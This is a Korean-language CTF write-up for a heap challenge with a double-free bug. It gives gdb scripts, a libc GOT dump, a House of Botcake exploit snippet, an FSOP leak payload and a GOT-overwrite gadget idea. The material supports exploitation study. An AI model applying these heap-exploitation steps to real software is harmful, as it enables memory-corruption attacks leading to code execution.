Post

heap_chall_1

heap chall 1 writeup

heap_chall_1

๐Ÿšง This writeup will be fortified ๐Ÿšง

To see the post, youโ€™ll need the flag to access the content. To be implemented later.

Challenge

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

๋ฌธ์ œ๊ตฌ์„ฑ์€ ๋งค์šฐ ๋‹จ์ˆœํ•˜๋‹ค.

1
2
3
4
0 - make note
1 - delete note
2 - exit
choice: 

์œ„ ๋‚ด์šฉ์ด ์ „๋ถ€๋‹ค.
๊ธฐ๋Šฅ์ ์œผ๋กœ make, delete, exit ์„ธ ๊ฐ€์ง€๋งŒ ์กด์žฌํ•œ๋‹ค.
make note์—์„œ๋Š” ํฌ๊ธฐ๋ฅผ ์ž…๋ ฅ๋ฐ›๊ณ , ํ•ด๋‹น ํฌ๊ธฐ๋งŒํผ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•œ ๋’ค, ๋‚ด์šฉ์„ ์ž…๋ ฅ๋ฐ›๋Š”๋‹ค.
delete note์—์„œ๋Š” ์ธ๋ฑ์Šค๋ฅผ ์ž…๋ ฅ๋ฐ›๊ณ , ํ•ด๋‹น ์ธ๋ฑ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ•ด์ œํ•œ๋‹ค.
exit๋Š” ๊ทธ๋ƒฅ ์ข…๋ฃŒ์ด๋‹ค.

์ด๋•Œ make_note์—์„œ๋Š” ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ๋ฅผ ํ•ญ์ƒ 0์œผ๋กœ ์„ค์ •ํ•œ๋‹ค๋Š” ์ ์ด ํŠน์ง•์ด๋‹ค.

Writeup

Vulnerability

double free ํ•˜๋‚˜๋งŒ ์กด์žฌํ•˜๊ณ  leak๋„ ํ‘œ๋ฉด์ ์œผ๋กœ ๋ณด์ด์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋กœ ์ธํ•ด ๋ฌธ์ œ์˜ ๋‚œ์ด๋„๊ฐ€ ํฌ๊ฒŒ ์˜ฌ๋ผ๊ฐ„ ๋А๋‚Œ์ด๋‹ค.

Analysis

double free๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด fastbin dup + unsortedbin leak์„ ์ด์šฉํ•ด์„œ ์•„๋งˆ libc ์ชฝ ์ฃผ์†Œ ์–ด๋”˜๊ฐ€๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๊ฒƒ๊นŒ์ง„ ์ƒ๊ฐ์„ ํ–ˆ๋Š”๋ฐโ€ฆwrite์‹œ ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ๋ฅผ 0์œผ๋กœ ์„ค์ •ํ•˜๊ธฐ๋„ ํ•˜๊ณ , ์–ด๋””๋ฅผ ๋ฎ์–ด์จ์•ผ ํ• ์ง€ ๊ฐ์ด ์˜ค์ง€ ์•Š์•˜๋‹ค.

์ผ๋‹จ glibc ๋ถ„์„์„ ํ•ด์•ผ ํ•  ๊ฒƒ ๊ฐ™์•„์„œ docker ๋‚ด์—์„œ ๋ถ„์„์„ ์ง„ํ–‰ํ–ˆ๋‹ค.

๊ทธ๋ž˜์„œ ์—ด์‹ฌํžˆ ์ฐพ์•„๋‹ค๋‹ˆ๋‹ค๊ฐ€, FSOP๊ณ„์—ด๋„ ์œ„์น˜๊ฐ€ ์• ๋งคํ•˜๊ฒŒ ๋ฉ€๋ฆฌ ์žˆ์–ด์„œ ๊ฒฐ๊ตญ ๊ฐ€๋Šฅํ•œ ๊ฒƒ๋“ค์„ 0์œผ๋กœ ์‹น ๋ฎ์–ด์“ฐ๊ณ  ์–ด๋””์„œ segfault๊ฐ€ ๋‚˜๋Š”์ง€ ํ™•์ธํ–ˆ๋‹ค.

์•„๋ž˜์™€ ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ด์šฉํ•ด์„œ ๊ฝค๋‚˜ ๋น ๋ฅด๊ฒŒ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python
for i in range(32 * 3):
    gdb.execute(f"set *(long *)0x7f24c8e18{8*i:03x}=0")
end

python
hex_digits = "0123456789abcdef"
for d1 in hex_digits:
    for i in range(32 * 3):
        try:
            gdb.execute(f"telescope 0x7f1b7481{d1}{8*i:03x} 1")
        except Exception:
            print("")
            continue
end
1
2
3
4
5
6
7
8
 โ–บ 0              0x0
   1   0x7f24c8ca2905 __vfprintf_internal+165
   2   0x7f24c8ca2905 __vfprintf_internal+165
   3   0x7f24c8ca5ea2 buffered_vfprintf+194
   4   0x7f24c8ca2d24 __vfprintf_internal+1220
   5   0x7f24c8c8dd3f printf+175
   6   0x5577485c732e make_note+45
   7   0x5577485c757e main+185

์ฐพ์•˜๋‹ค!

1
2
3
4
5
   108 __extern_always_inline const unsigned char *
   109 __find_specmb (const unsigned char *format)
   110 {
 โ–บ 111   return (const unsigned char *) __strchrnul ((const char *) format, '%');
   112 }

์œ„ ํ•จ์ˆ˜์—์„œ __strchrnul_์ด ํ˜ธ์ถœ๋˜๋Š”๋ฐ, ๊ทธ ๊ณผ์ •์—์„œ PLT๋ฅผ ์ด์šฉํ•œ๋‹ค.

1
2
3
4
=> 0x00007f1a3f1db390 <+0>:     endbr64 
   0x00007f1a3f1db394 <+4>:     bnd jmp QWORD PTR [rip+0x1c9ca5]        # 0x7f1a3f3a5040 <*ABS*@got.plt>
   0x00007f1a3f1db39b <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

๋”ฐ๋ผ๊ฐ€๋ฉด ์œ„์ฒ˜๋Ÿผ 0x7f1a3f3a5040, ์ฆ‰, 0x7f1a3f3a_0__ ๊ผด์˜ ์ฃผ์†Œ์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ํ˜„์žฌ ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ๊ฐ€ 00์œผ๋กœ ๊ณ ์ •๋˜๋ฏ€๋กœ ์šฐ๋ฆฌ์—๊ฒŒ ๋”ฑ ํ•„์š”ํ•œ ํ•จ์ˆ˜์ด๋‹ค.

์ •ํ™•ํ•œ offset์€ libc์˜ rw ์„น์…˜ +0x40์ด๋‹ค.

์ฃผ์–ด์ง„ libc๋Š” 2.31 ์ดˆ๊ธฐ๋ฒ„์ „์ด๋‹ค. ๋”ฐ๋ผ์„œ ์ตœ์‹  libc-2.31๋กœ ๋””๋ฒ„๊น…ํ•˜๊ฒŒ ๋˜๋ฉด ์ผ๋ถ€ offset์ด ๋‹ค๋ฅผ ์ˆ˜ ์žˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ ๋ถ„์„์€ LD_PRELOAD ์—†์ด ์ง„ํ–‰ํ•˜๋Š” ๊ฒƒ์ด ํŽธ๋ฆฌํ•œ๋ฐ, ์•„๋ž˜์ฒ˜๋Ÿผ ์‹ฌ๋ณผ์ด ์‚ด์•„์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
00:0000โ”‚  0x7f97e7faf000 (_GLOBAL_OFFSET_TABLE_) โ—‚โ€” > 0x1ebb80                                               
01:0008โ”‚  0x7f97e7faf008 (_GLOBAL_OFFSET_TABLE_+8) โ€”โ–ธ 0x7f97e7fb5000 โ€”โ–ธ 0x7f97e7dc3000 โ—‚โ€” > 0x3010102464c457f                  
02:0010โ”‚  0x7f97e7faf010 (_GLOBAL_OFFSET_TABLE_+16) โ€”โ–ธ 0x7f97e7fdabc0 (_dl_runtime_resolve_xsavec) โ—‚โ€” > endbr64       
03:0018โ”‚  0x7f97e7faf018 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4e910 (__memmove_avx_unaligned_erms) โ—‚โ€” > endbr64            
04:0020โ”‚  0x7f97e7faf020 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4baa0 (__strnlen_avx2) โ—‚โ€” > endbr64                       
05:0028โ”‚  0x7f97e7faf028 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4fe60 (__wcschr_avx2) โ—‚โ€” > endbr64                     
06:0030โ”‚  0x7f97e7faf030 (realloc@got.plt) โ€”โ–ธ 0x7f97e7de5040 โ—‚โ€” > endbr64                                                                           
07:0038โ”‚  0x7f97e7faf038 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f49964 (__strncasecmp_l_avx) โ—‚โ€” > endbr64                                                       
08:0040โ”‚  0x7f97e7faf040 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4b540 (__strchrnul_avx2) โ—‚โ€” > endbr64                                                           
09:0048โ”‚  0x7f97e7faf048 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4eea0 (__wmemcmp_avx2_movbe) โ—‚โ€” > endbr64                                                                
0a:0050โ”‚  0x7f97e7faf050 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4db30 (__stpcpy_avx2) โ—‚โ€” endbr64 
0b:0058โ”‚  0x7f97e7faf058 (__tls_get_addr@got.plt) โ€”โ–ธ 0x7f97e7de5090 โ—‚โ€” endbr64 
0c:0060โ”‚  0x7f97e7faf060 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4dee0 (__stpncpy_avx2) โ—‚โ€” endbr64 
0d:0068โ”‚  0x7f97e7faf068 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f46cc0 (__strspn_sse42) โ—‚โ€” endbr64 
0e:0070โ”‚  0x7f97e7faf070 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f50280 (__wcslen_avx2) โ—‚โ€” endbr64 
0f:0078โ”‚  0x7f97e7faf078 (memalign@got.plt) โ€”โ–ธ 0x7f97e7de50d0 โ—‚โ€” endbr64 
10:0080โ”‚  0x7f97e7faf080 (_dl_exception_create@got.plt) โ€”โ–ธ 0x7f97e7de50e0 โ—‚โ€” endbr64 
11:0088โ”‚  0x7f97e7faf088 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f47760 (__memchr_avx2) โ—‚โ€” endbr64 
12:0090โ”‚  0x7f97e7faf090 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f482e4 (__strcasecmp_l_avx) โ—‚โ€” endbr64 
13:0098โ”‚  0x7f97e7faf098 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f47b80 (__memrchr_avx2) โ—‚โ€” endbr64 
14:00a0โ”‚  0x7f97e7faf0a0 (__tunable_get_val@got.plt) โ€”โ–ธ 0x7f97e7de5120 โ—‚โ€” endbr64 
15:00a8โ”‚  0x7f97e7faf0a8 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4b900 (__strlen_avx2) โ—‚โ€” endbr64 
16:00b0โ”‚  0x7f97e7faf0b0 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4b310 (__strchr_avx2) โ—‚โ€” endbr64 
17:00b8โ”‚  0x7f97e7faf0b8 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f46b80 (__strpbrk_sse42) โ—‚โ€” endbr64 
18:00c0โ”‚  0x7f97e7faf0c0 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f40ab0 (__wcscpy_ssse3) โ—‚โ€” endbr64 
19:00c8โ”‚  0x7f97e7faf0c8 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4ed00 (__wmemset_avx2_unaligned) โ—‚โ€” endbr64 
1a:00d0โ”‚  0x7f97e7faf0d0 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4ed00 (__wmemset_avx2_unaligned) โ—‚โ€” endbr64 
1b:00d8โ”‚  0x7f97e7faf0d8 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f50440 (__wcsnlen_avx2) โ—‚โ€” endbr64 
1c:00e0โ”‚  0x7f97e7faf0e0 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4e910 (__memmove_avx_unaligned_erms) โ—‚โ€” endbr64 
1d:00e8โ”‚  0x7f97e7faf0e8 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4ce40 (__strcpy_avx2) โ—‚โ€” endbr64 
1e:00f0โ”‚  0x7f97e7faf0f0 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4f210 (__wmemchr_avx2) โ—‚โ€” endbr64 
1f:00f8โ”‚  0x7f97e7faf0f8 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f49950 (__strncasecmp_avx) โ—‚โ€” endbr64 
20:0100โ”‚  0x7f97e7faf100 (_dl_find_dso_for_object@got.plt) โ€”โ–ธ 0x7f97e7de51e0 โ—‚โ€” endbr64 
21:0108โ”‚  0x7f97e7faf108 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f46a40 (__strcspn_sse42) โ—‚โ€” endbr64 
22:0110โ”‚  0x7f97e7faf110 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4baa0 (__strnlen_avx2) โ—‚โ€” endbr64 
23:0118โ”‚  0x7f97e7faf118 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4fe60 (__wcschr_avx2) โ—‚โ€” endbr64 
24:0120โ”‚  0x7f97e7faf120 (calloc@got.plt) โ€”โ–ธ 0x7f97e7de5220 โ—‚โ€” endbr64 
25:0128โ”‚  0x7f97e7faf128 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4ed90 (__memset_avx2_unaligned_erms) โ—‚โ€” endbr64 
26:0130โ”‚  0x7f97e7faf130 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f46df0 (__strcmp_avx2) โ—‚โ€” endbr64 
27:0138โ”‚  0x7f97e7faf138 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f47230 (__strncmp_avx2) โ—‚โ€” endbr64 
28:0140โ”‚  0x7f97e7faf140 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f47ef0 (__memcmp_avx2_movbe) โ—‚โ€” endbr64 
29:0148โ”‚  0x7f97e7faf148 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4e8f0 (__mempcpy_avx_unaligned_erms) โ—‚โ€” endbr64 
2a:0150โ”‚  0x7f97e7faf150 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4f4e0 (__wcscmp_avx2) โ—‚โ€” endbr64 
2b:0158โ”‚  0x7f97e7faf158 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4f210 (__wmemchr_avx2) โ—‚โ€” endbr64 
2c:0160โ”‚  0x7f97e7faf160 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f47a30 (__rawmemchr_avx2) โ—‚โ€” endbr64 
2d:0168โ”‚  0x7f97e7faf168 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4b730 (__strrchr_avx2) โ—‚โ€” endbr64 
2e:0170โ”‚  0x7f97e7faf170 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4bdc0 (__strcat_avx2) โ—‚โ€” endbr64 
2f:0178โ”‚  0x7f97e7faf178 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f482d0 (__strcasecmp_avx) โ—‚โ€” endbr64 
30:0180โ”‚  0x7f97e7faf180 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4d1d0 (__strncpy_avx2) โ—‚โ€” endbr64 
31:0188โ”‚  0x7f97e7faf188 (*ABS*@got.plt) โ€”โ–ธ 0x7f97e7f4e910 (__memmove_avx_unaligned_erms) โ—‚โ€” endbr64 

์‚ฌ์‹ค ์ƒ๊ฐํ•ด๋ณด๋ฉด libc GOT overwrite๋กœ RCEํ•  ๋•Œ์ฒ˜๋Ÿผ GOT entry๋ฅผ ๋ฎ์–ด์“ฐ๋ฉด ๋˜๋Š” ๊ฒƒ ๊ฐ™๋‹ค.
ํ‰์†Œ์— ์ฃผ๋กœ exit_handler๋ž‘ FSOP์ชฝ์œผ๋กœ RCE ํ•ด์™€์„œ ์—ฌ๊ธฐ๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ์ƒ๊ฐ์„ ๋ชปํ–ˆ์—ˆ๋‹ค.
์ผ๋‹จ ์œ„ ๋ชฉ๋ก์„ ํ™•๋ณดํ•œ ํ›„, ๊ณ„์† ๋ดค๋Š”๋ฐ ์•ฝ๊ฐ„์˜ ๋ฌธ์ œ๊ฐ€ ์žˆ๋‹ค.
์—ฌ๊ธฐ์„œ๋„ overwrite๋ฅผ ํ•  ๋•Œ ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ๊ฐ€ 0์œผ๋กœ ๊ณ ์ •๋  ๊ฒƒ์ธ๋ฐ, 0x7f97e7f4_0__ ๊ผด์˜ ํ•จ์ˆ˜๋“ค์€ ๋ชจ๋‘ ์œ„์— ๋ณด์ด๋Š” plt ํ•จ์ˆ˜๋“ค์ด๋‹ค. ์ฆ‰, leak์— ์œ ์šฉํ•œ ๊ฒƒ๋“ค์ด ์—†๋‹ค.

๊ทธ๋ž˜์„œ ์ด์ œ๋ถ€ํ„ฐ๋Š” libc ์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋’ค์ง€๊ธฐ ์‹œ์ž‘ํ–ˆ๋‹ค. ํ˜„์žฌ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋Š” ์˜์—ญ์ด GOT ์™ธ์—๋Š” ์—†์œผ๋ฏ€๋กœ ์‚ฌ์‹ค์ƒ ์ €๊ธฐ ์žˆ๋Š” string ๊ด€๋ จ ํ—ฌํผ ํ•จ์ˆ˜๋“ค์„ ์–ด๋–ป๊ฒŒ ์ž˜ ์จ์„œ ๋„˜์–ด๊ฐ€์•ผํ•  ๊ฒƒ ๊ฐ™๋‹ค.
๊ทธ๋•Œ ๋ˆˆ์— ๋“ค์–ด์˜จ๊ฑด ์•„๋ž˜์˜ ์ฝ”๋“œ์ด๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
...
      /* Look for next format specifier.  */
#ifdef COMPILE_WPRINTF
      f = __find_specwc ((end_of_spec = ++f));
#else
      f = __find_specmb ((end_of_spec = ++f));
#endif

      /* Write the following constant string.  */
      outstring (end_of_spec, f - end_of_spec);
    }
...

outstring (end_of_spec, f - end_of_spec);์ด ๋ณด์ธ๋‹ค. ์‚ดํŽด๋ณด๋ฉด puts๋ฅผ ์ด์šฉํ•ด์„œ f - end_of_spec ๊ธธ์ด๋งŒํผ end_of_spec๋ถ€ํ„ฐ ์ถœ๋ ฅํ•˜๋Š” ํ•จ์ˆ˜์ด๋‹ค.
์–ด? ๊ทธ๋Ÿฌ๋ฉด __find_specmb ํ•จ์ˆ˜๊ฐ€ 0์ด๋‚˜ ์Œ์ˆ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ฒŒ ํ•œ๋‹ค๋ฉด?
๋ฐ”๋กœ __strchrnul ํ•จ์ˆ˜๋ฅผ __strcmp ํ•จ์ˆ˜๋กœ ๊ต์ฒดํ•ด ๋ณด์•˜๋‹ค.

Segfault๊ฐ€ ๋œจ๊ธด ํ–ˆ์ง€๋งŒ leak์ด ๋ฐœ์ƒํ–ˆ๋‹ค!
๊ทธ๋ž˜์„œ ์ด ์ดํ›„๋กœ Segfault๊ฐ€ ๋‚˜๋Š” ๊ฒฝ๋กœ๋ฅผ ๋”ฐ๋ผ๊ฐ€๋ฉด์„œ ๋‹ค๋ฅธ ์ฃผ์†Œ๋„ ๋ฎ์–ด์“ฐ๋ ค๊ณ  ์‹œ๋„ํ–ˆ์œผ๋‚˜ memcpy์—์„œ ํ„ฐ์ง€๋Š” Segfault๋ฅผ ๋ง‰์„์ˆ˜๊ฐ€ ์—†์—ˆ๋‹คโ€ฆ

๊ฒฐ๊ตญ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผํ–ˆ๋‹ค. ๊ทธ๋ž˜์„œ GOT์˜์—ญ์— ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜๋ฅผ ์ฐพ๊ธฐ์œ„ํ•ด ํ•ด๋‹น ์˜์—ญ์— ์‹น breakpoint๋ฅผ ๊ฑธ๋กœ ์‹คํ–‰์‹œ์ผœ๋ณด์•˜๋‹ค.
๊ทธ ๊ฒฐ๊ณผ puts์—์„œ strlen ํ˜ธ์ถœ์ด ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค.

๋”ฐ๋ผ์„œ strlen ํ•จ์ˆ˜๋ฅผ ์ ์ ˆํ•˜๊ฒŒ ๋ฎ์–ด์“ฐ๋ฉด leak์ด ๊ฐ€๋Šฅํ•  ๊ฒƒ ๊ฐ™์•˜๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์•„์‰ฝ๊ฒŒ๋„ ์—ฌ๊ธฐ์„œ ์˜์ง€๊ฐ€ ๊บพ์—ฌ์„œ ๊ทธ๋ƒฅ 1/4096์œผ๋กœ FSOP๋กœ leakํ•˜๋Š” ๊ฑธ๋กœ ์ „ํ–ฅํ–ˆ๋‹คโ€ฆ ์ด๋ฏธ ์‹œ๊ฐ„์„ ๋„ˆ๋ฌด ์“ด ์ƒํƒœ๋ผ ๋น ๋ฅด๊ฒŒ ๋๋‚ด๊ณ  ํ’€์ด๋ฅผ ๊ณต๋ถ€ํ•˜๊ณ ์ž ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

From double free to AAW

double free๋งŒ ์žˆ์„ ๋•Œ๋Š” 2๊ฐ€์ง€ ๋ฐฉ๋ฒ•์œผ๋กœ AAW๋ฅผ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค. (๋” ์žˆ์„ ์ˆ˜ ์žˆ์ง€๋งŒ, ์ด ์ƒํ™ฉ์—์„œ ๊ฐ„๋‹จํ•œ ๊ฒƒ๋“ค์€ ์•„๋ž˜์˜ ๊ฒƒ๋“ค์ด๋‹ค.)

  1. Fastbin dup into tcache
  2. House of Botcake

๋‚˜๋Š” 2๋ฒˆ ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด์„œ AAW๋ฅผ ๋‹ฌ์„ฑํ–ˆ๋‹ค. House of Botcake ๋ฐฉ๋ฒ•์€ ์•„๋ž˜์˜ ์ ˆ์ฐจ๋กœ ์ง„ํ–‰๋œ๋‹ค.

  1. tcache ๋ชจ๋‘ ์ฑ„์šฐ๊ธฐ, ํฌ๊ธฐ๋Š” fastbin ํฌ๊ธฐ๋ฅผ ์ดˆ๊ณผํ•˜๋„๋ก. e.g. 0x100
  2. unsortedbin์— 2๊ฐœ์˜ ์ฒญํฌ ํ• ๋‹น โ†’ ์•Œ์•„์„œ ๋ณ‘ํ•ฉ๋˜๋„๋ก
  3. ์ฒญํฌ ํ• ๋‹น: tcache ํ•˜๋‚˜ ๋น„์›Œ์ง โ†’ ์ด๋•Œ unsortedbin ์ฒญํฌ๋ฅผ ํ•ด์ œ: double free ๋ฐœ์ƒ

์ดํ›„ main_arena ์ฃผ์†Œ๋ฅผ tcache์˜ next ์ฃผ์†Œ๋กœ ์˜ฎ๊ธฐ๋Š” ๊ฒƒ์€ ์–ด๋ ต์ง€ ์•Š๋‹ค.

๊ทธ๋ฆผ์œผ๋กœ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

house_of_botcake 7,8 ์ฒญํฌ๊ฐ€ ๋ณ‘ํ•ฉ๋˜๋„๋ก ์œ„์ฒ˜๋Ÿผ ์„ธํŒ…

house_of_botcake_2 ์ดํ›„ 8๋ฒˆ ์ฒญํฌ 2ํšŒ ํ•ด์ œ, tcache์— double free ๋ฐœ์ƒ

์ฝ”๋“œ๋กœ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for i in range(7):
   ncreate(i, 0xA0)

ncreate(7, 0xA0)
ncreate(8, 0xA0)
ncreate(9, 0x10)

for i in range(7):
   ndelete(i)

ndelete(8)
ndelete(7)
ncreate(0, 0xA0)
ndelete(8)  # 8 is the target!

# More!
ncreate(0, 0x40)
ncreate(0, 0x50)
ncreate(0, 0x40, ptr_to_overwrite)

ncreate(0, 0xA0)
ncreate(1, 0xA0, data_to_write)

๋‚˜์˜ ๊ฒฝ์šฐ FSOP๋กœ leak ํ• ๊ฑฐ์˜€์œผ๋‹ˆ p64(0xFBAD1800) + p64(0) + p64(0) * 2 + b"\x00" + b"\n" ์ด๋Ÿฐ์‹์œผ๋กœ ์ž‘์„ฑํ–ˆ๋‹ค.

Leak using FSOP

์ด ๋ธ”๋กœ๊ทธ ๊ธ€ ์—์„œ ์„ค๋ช…์„ ๋งค์šฐ ์ž˜ ํ•ด๋†“์•˜๋‹ค.

Extra Notes

Intentional Solution

์—ญ์‹œ GOT overwrite๋ฅผ ํ†ตํ•œ RCE๊ฐ€ ์˜๋„๋œ ํ’€์ด์ด๋‹ค. ๋‹ค๋งŒ ๋‚ด๊ฐ€ ๋†“์นœ ๋ถ€๋ถ„์ด ์žˆ์–ด ์ •๋ฆฌ๋ฅผ ํ•ด๋‘˜ ํ•„์š”๊ฐ€ ์žˆ์„ ๊ฒƒ ๊ฐ™๋‹ค.

strlen ํ•จ์ˆ˜๋ฅผ ์˜ค๋ฒ„๋ผ์ดํŠธ ํ•  ๋•Œ ๋งˆ์ง€๋ง‰ short๊ฐ’ 0x00**๋กœ strlen ์ฃผ์†Œ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค. (ํ•œ ๋ฐ”์ดํŠธ๋ฅผ ๋” ๋ฐ”๊พธ๋ ค๋ฉด 256 ๋ธŒํฌ ์ถ”๊ฐ€) ์ด๋•Œ ๋‚œ 0x...00** ๊ผด ์ฃผ์†Œ๋“ค์ด ๋Œ€๋ถ€๋ถ„ ํ•„์š” ์—†๋Š” ํ•จ์ˆ˜๊ณ  ๋ฐ”๋กœ ๋ฎ์–ด์“ฐ๋‹ˆ segfault๊ฐ€ ๋‚˜์„œ ์‹ ๊ฒฝ์„ ์“ฐ์ง€ ์•Š์•˜์ง€๋งŒ ์ด ๋ถ€๋ถ„์€ ROP๋กœ ์‚ฌ์šฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.
์ฆ‰, 0x...00** ๊ผด์˜ ์ฃผ์†Œ ์ค‘ ํ•ฉ๋ฆฌ์ ์ธ ์ฒด์ธ์„ ์ฐพ์•„์„œ puts์˜ ์ •์ƒ์ ์ธ strlen ํ˜ธ์ถœ์„ ์กฐ์ž‘ํ•ด์•ผํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

sub eax, ecx; ret; ๊ฐ€์ ฏ์œผ๋กœ ๋ฎ์œผ๋ฉด eax - ecx๊ฐ€ ๋ฐ˜ํ™˜๊ฐ’์ด ๋˜๋ฏ€๋กœ ํ›จ์”ฌ ๊ธด ๊ธธ์ด๋ฅผ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค.
๊ทธ๋ฆฌ๊ณ  rax๋Š” choiceํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” ๊ฐ’์ด ์ €์žฅ๋˜์–ด ์žˆ๊ธฐ์— ์ด๋ฅผ ํ™œ์šฉํ•˜์—ฌ choice์— ๋งค์šฐ ํฐ ์ˆซ์ž๋ฅผ ๋„ฃ์–ด strlen ๋ฐ˜ํ™˜๊ฐ’์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค!! ์ง์ ‘ rax๊นŒ์ง€ ์กฐ์ž‘ํ•ด์ฃผ์–ด์•ผ ํ•œ๋‹ค๋Š” ์ , ๊ทธ๋ฆฌ๊ณ  ์ด๋Ÿฌํ•œ ๋ ˆ์ง€์Šคํ„ฐ๊นŒ์ง€ ๋‚˜๋„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๋ชจ๋ฅด๊ณ  ๋†“์นœ ๋ถ€๋ถ„์ด ์•„์‰ฌ์› ๋‹ค.

This post is licensed under CC BY 4.0 by the author.